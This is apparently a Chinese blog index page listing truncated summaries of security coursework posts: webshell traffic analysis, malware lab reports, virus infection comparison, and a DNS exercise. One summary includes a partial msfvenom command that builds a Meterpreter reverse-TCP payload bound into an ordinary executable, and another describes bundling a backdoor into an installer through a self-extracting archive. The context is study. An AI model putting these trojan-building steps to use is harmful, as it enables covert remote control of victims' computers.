倔強@

摘要： 流量分析 主要還是對近期遇到的流量題目做一個總結(jié)，重在思路總結(jié)，方便以后翻閱@_@ 題目：[第九章][9.3.2 webshell混淆流量分析]webshell流量分析 NetA一把梭 手搓 wireshark，篩選http->按包的長度（length）排序。主要還是從大的數(shù)據(jù)包排查起 展開html 閱讀全文

摘要： 0. 我們首先對這個程序做一下初步的靜態(tài)分析，string查看一下，發(fā)現(xiàn)這里出現(xiàn)了一個URL，還有一些導(dǎo)入函數(shù)的名稱，但是在這里分析這些導(dǎo)入函數(shù)并不是很方便，我們打開dependency walker，這里有很多這個程序使用了很多函數(shù)，通過它調(diào)用函數(shù)的內(nèi)容，就可以初步判斷它的行為。可以發(fā)現(xiàn)這里有一個 閱讀全文

摘要： ? 后門捆綁實踐 原理：有一些壓縮工具，如WinRAR打包文件時可以設(shè)置在解壓時自動解壓并自動運行某個文件，還可以選擇將壓縮結(jié)果制作成為exe文件。運行此exe文件后會自動解壓到指定路徑，運行壓縮前指定的文件，前提是這個指定的文件也是壓縮的對象 捆綁到安裝程序上 條件準(zhǔn)備： 1.圖標(biāo) 根據(jù)使用情況準(zhǔn) 閱讀全文

摘要： ?# Lab3-3 1.查殼 經(jīng)過PEiD分析，Lab03-03沒有加殼 2.Process Explore分析 操作系統(tǒng)：Microsoft Windows XP [Version 5.1.2600]（中文版） 操作系統(tǒng)：Microsoft Windows XP [Version 5.1.2600 閱讀全文

摘要： ? 嘗試與實踐 exe與shellcode捆綁 經(jīng)過查閱網(wǎng)上相關(guān)資料，kali中在終端輸入以下指令以生成木馬并捆綁到目標(biāo)程序 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.128 LPORT=4314 -x hellowor 閱讀全文

摘要： ?# EXP 5 回答問題 （1）哪些組織負(fù)責(zé)DNS，IP的管理。 ICANN（Internet 域名與地址管理機構(gòu)）負(fù)責(zé)全球的DNS、IP和域名根服務(wù)器的管理。 ICANN是為承擔(dān)域名系統(tǒng)管理IP地址分配，協(xié)議參數(shù)配置，以及主服務(wù)器系統(tǒng)管理等職能而設(shè)立的非盈利機構(gòu)。 （2）什么是3R信息。 注冊人 閱讀全文

摘要： ?# EXP 5 回答問題 （1）哪些組織負(fù)責(zé)DNS，IP的管理。 ICANN（Internet 域名與地址管理機構(gòu)）負(fù)責(zé)全球的DNS、IP和域名根服務(wù)器的管理。 ICANN是為承擔(dān)域名系統(tǒng)管理IP地址分配，協(xié)議參數(shù)配置，以及主服務(wù)器系統(tǒng)管理等職能而設(shè)立的非盈利機構(gòu)。 （2）什么是3R信息。 注冊人 閱讀全文

摘要： 1．分析感染后的可執(zhí)行程序 感染前和感染后對比： main-new.exe：最先傳播病毒的exe文件，大小：3KB test.exe：感染目標(biāo)，感染前大小：2.5KB test2.exe：感染后的exe文件，感染后大小：6.5KB winhex打開這兩個文件，利用相關(guān)功能分析（查看—>同步和比較） 閱讀全文

摘要： python項目代碼 點擊查看代碼 # -*- coding: utf-8 -*- import jieba import matplotlib.pyplot as plt import numpy as np from PIL import Image import pymysql import 閱讀全文

摘要： 今天先記錄一下這一道題： 題目如下這是一道比較重要的題目：難度為“High”，先來看看題目吧！ 在提示“Hint”里面已經(jīng)把要點給寫出來了，這道題看似復(fù)雜，可以將它劃分為兩步來操作： 1.先實現(xiàn)輸出距離 2.再實現(xiàn)整體功能 一、先實現(xiàn)輸出距離： 利用兩個變量a，b；a就是第一行的輸入，b放在循環(huán)中， 閱讀全文